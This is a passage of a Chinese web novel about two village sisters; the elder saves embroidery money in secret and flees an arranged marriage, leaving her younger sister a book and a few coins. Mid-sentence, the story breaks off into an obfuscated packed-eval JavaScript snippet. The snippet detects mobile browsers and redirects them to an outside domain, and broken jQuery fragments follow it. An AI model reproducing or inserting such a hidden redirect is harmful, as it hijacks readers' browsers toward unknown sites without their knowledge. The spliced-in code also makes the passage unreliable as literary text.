那天夜里,来椿与阿姐一起躺在床上,翻来覆去地睡不着觉。
都怪门被风吹着,吱呀呀地响。
可母亲不准她们关了门睡,说是怕有什么危险照应不过来,实际上来椿心里都知道,她这是要监督阿姐不准读书呢,想要两个女儿上了床后,都能安安分分地睡觉。
母亲嘴上说得好听,却总是有意无意地提起,女孩子家家的读那么多书做什么,还不如以后择一门好夫婿,这样才能后半辈子有靠。
读那么多书,最后还不是要去别人家做媳妇,何苦来哉?
母亲这样说过之后,阿姐的脸上总会低落好一阵。
今晚的阿姐也一样低落,似乎和来椿一样睡不着觉,心事重重的,来椿在旁边偷偷打量了阿姐好半晌,也没见阿姐动一下。
真正睡熟了的人,翻身和呼吸肯定都不像现在这样硬邦邦的。
冰冷的月光照在阿姐的脸上,而阿姐的目光看向木窗外面。
黑漆漆的天空中只有一轮圆月,孤零零地亮着,像是一张要吃人的嘴,和吱嘎作响的木门一起,合该是阿姐念过的话本里,那些志怪故事的开头。
阿姐有一双好看的眼睛,像是会说话。
有这样一双眼睛,就算阿姐不笑的时候显得和父亲一样凶,可一旦笑起来,就温柔得不得了。
在来椿心里,阿姐比母亲还要更像母亲一点。
她在睡觉时会抱着自己的小妹妹,这样一来,冬日里也没那么冷了。
发觉来椿在看她之后,阿姐低下头,问道:“小椿儿,你想没想过离开村子?”
“离开村子?”来椿有些疑惑,不知道为什么阿姐今晚要提到这个在村中人人缄口的话题,“为什么要离开村子?父亲说过了,离开我们就再也回不来了。”
来椿稍稍长大一些之后,虽然早已不再像小时候那样轻信鬼神之说,可无论如何,长年累月积攒在她心中的畏惧依旧难以消磨。
父亲母亲多年如一日地耳提面命着,不让她们想着要出去,想着做村中禁忌之事。
更何况,来椿没有忘记,前年灰袍人来时,王伯家的小儿子看着车队豪奢,想要偷偷跟在他们后面,去看一看外面的天地,然而这一走,便是两年没有回来。
不只是王伯家,这些年陆陆续续偷跑出去了很多人,但来椿都没有见过他们回来,不是出事了,又是怎么回事呢?
“或许只有我们被困住了,”阿姐望着窗外的月亮,神色动容,最终只是叹了口气,“椿儿,离开的人不是回不来,而是不想再回来了。”
“为什么不想回来?外头就那么好吗?”来椿不解地问道。
“因为外面的天地更自由,更广阔,而回来便是四方的天,走不出去的村子,回来又有什么好的呢?”
“是这样吗……”来椿懵懵懂懂,似乎觉得也有几分道理。
她从小到大都信阿姐说的话,也喜欢和阿姐待在一起,无论阿姐说的是对是错,只要阿姐愿意带上她,即便是要离开,来椿也会毫不犹豫踏出村子的石墙的。
为了家里能够多赚些钱,母亲总是让阿姐绣帕子,没日没夜地绣完那些送到家里的布料。阿姐的手也很争气,即便是这样枯燥又琐碎的绣活,她也能精细地绣好每一个花样。
或许是积年苦练来的一身手艺终于有了能回报她的时候,阿姐绣的手帕都很少出错,这样就能紧赶慢赶,省出一条帕子来,送到村里别的女人家,将多绣出来的一条卖出去。
即便上好的帕子只换得来几枚铜板,阿姐也从未停止过,反倒是小心翼翼地将这些铜板攒起来,放在床下最深处的一个破坛子里,再用木板和沙石仔仔细细地盖住。
虽然来椿从来没有问过,但她也知道,这是阿姐省吃俭用攒下来的钱,一旦被父亲母亲发现了,铜板要被没收不说,还要讨上好一顿打。
这个秘密和村中来人的秘密一同烂在来椿的心里,她甚至很少去想,以免被母亲发现端倪。
那一小坛子钱,不仅是阿姐的前途,更是阿姐的命。
阿姐曾对来椿说:“这世道如此,没人对我好的话,我便要自己为自己,挣一条出路。”
“阿姐的出路就在外面吗?”来椿问,“倘若阿姐要走,会带上我一起吗?”
“会的,”阿姐转过头,看着眼前的妹妹,坚定道,“阿姐一定一定,会带上小椿儿的。”
只要阿姐不将自己抛下,那也没什么好犹豫的。
反正他们这一家人,也并不像真正的一家人。至少阿姐和父亲母亲不像是有血缘关系的亲人,阿姐也不像村中其他孩子那样,爱自己的父亲母亲。
虽然来椿在家里也没得到很多疼爱,但或许她是家中最小的孩子,总归是要比待阿姐更亲厚一点的。
母亲做了好吃的饭菜,或是从哪里带回来了好吃的点心,都有来椿的一份,却没有阿姐的一份。
父亲每每被姐妹两个气急的时候,也只会罚阿姐,不会罚来椿。
不过他们还是想要个儿子,毕竟往后来椿嫁出去了,家里便是断了香火,没人为他们摔盆打瓦了。
来椿自己倒是没想过嫁人的事,对现在的她而言还太早了,她依旧是每天疯玩疯闹的年纪,要说真正定下心想要做的事,也无非是守在阿姐身边,看着阿姐绣花。
要她来选的话,自然是和阿姐一起过日子,这才算舒心自在。
阿姐也肯定是喜欢来椿的,否则不会让她知道这样大的秘密,也不会对来椿说想要带她走这样的话。
春去冬来,年关一翻,日子便要有条不紊地过下去。
阿姐心里惦记着要走的事,来椿也心照不宣地关心着小坛子的长势。
像是地里的庄稼一般,那小坛子越积越满,直到来椿十七岁那年,阿姐的罐子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16203508|181260||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终于能看见铜板冒出的尖尖,圆月一样隆起了一面弧度。
她盘算着阿姐什么时候能带她离开村子,当晚,父亲喝了很多酒回家,一进门,便将一锭银子掷在桌上。
来椿从来没见过这样多的钱,阿姐攒的那些铜板加起来或许也不够这锭银子的重量。
可父亲说,这锭银子是聘礼。
是村西那家有好几亩田的人,想要求娶阿姐,给他的三个孩子做后母。
来椿当即就摔了筷子跌了碗,连父亲揪她耳朵也不怕了,梗着脖子说:“倘若你要我阿姐嫁过去,便只能先在家里办我的白事了!”
他们当即变了脸色,父亲狠狠给了她一巴掌,来椿捂着脸,眼泪止不住地往下掉。
阿姐的眼泪也往下掉,母亲坐在桌子的那头,沉默地皱着眉,什么也没有说。
父亲将来椿搡进小屋里时,怒道:“饿她两天又如何!没大没小的东西,忤逆上亲也不怕遭报应!”
来椿趴在和阿姐的床上,倒气一样哭,头也一阵阵发晕,却仍是不肯屈服。
没一阵,阿姐便进来了。
她偷偷给来椿手里塞了个冷掉的窝头,坐到来椿身边去,像小时候一样摸着来椿的头,温柔又憔悴。
阿姐说:“傻椿儿,阿姐要走了,你晓得吗,阿姐不愿意嫁那样的人家,你也是大姑娘了,你肯定晓得的。”
来椿从被子中挣扎出半张脸来,眼睛肿胀着,泪水模糊了她的视线,是以阿姐的脸也不大看得清了。
她紧紧握住阿姐的手,啜泣着说:“阿姐真的要离开村子了吗?”
半明半寐的屋子里,阿姐沉默了半晌,似乎是放不下妹妹,最后却依旧挣扎着点了点头。
她从床头翻出了那本早已翻烂了的书,眼泪落在封皮上,啪嗒一声,晕开了陈年的墨迹。
随后,阿姐将书塞到来椿手里,同样哽咽道:“阿姐不在的日子里,你要好生读书认字,别听父亲母亲的话,别荒废了自己。椿儿,就算是要烂要死,咱们也要死在更辽阔的地方。”
来椿不住地点头。
她看见阿姐站起身来,从床底的窟窿里掘出一满罐的铜钱,又拿出几枚,放在了来椿的手心里。
来椿紧紧握着那几枚铜钱,像是落水之人拽住岸边的水草一般,舍不得松开。
她的泪流了满脸,却只能说:“阿姐,我舍不得你。”
阿姐努力将脸移开了,她怕自己看见妹妹哭就走不了,怕一辈子也出不去这四方的天,因此强忍着泪,说:“椿儿别怕,等阿姐在外头站稳脚跟,便立刻回来接你……倘若阿姐回不来了,你也要学着走出去,飞出去,好不好?”
来椿的泪又多了几分。
那晚,眼泪浸湿了来椿的枕头。
她看见阿姐离开的、模糊的背影,手心握着阿姐的泪和铜钱,梦里梦外,都是阿姐说的,辽阔的天。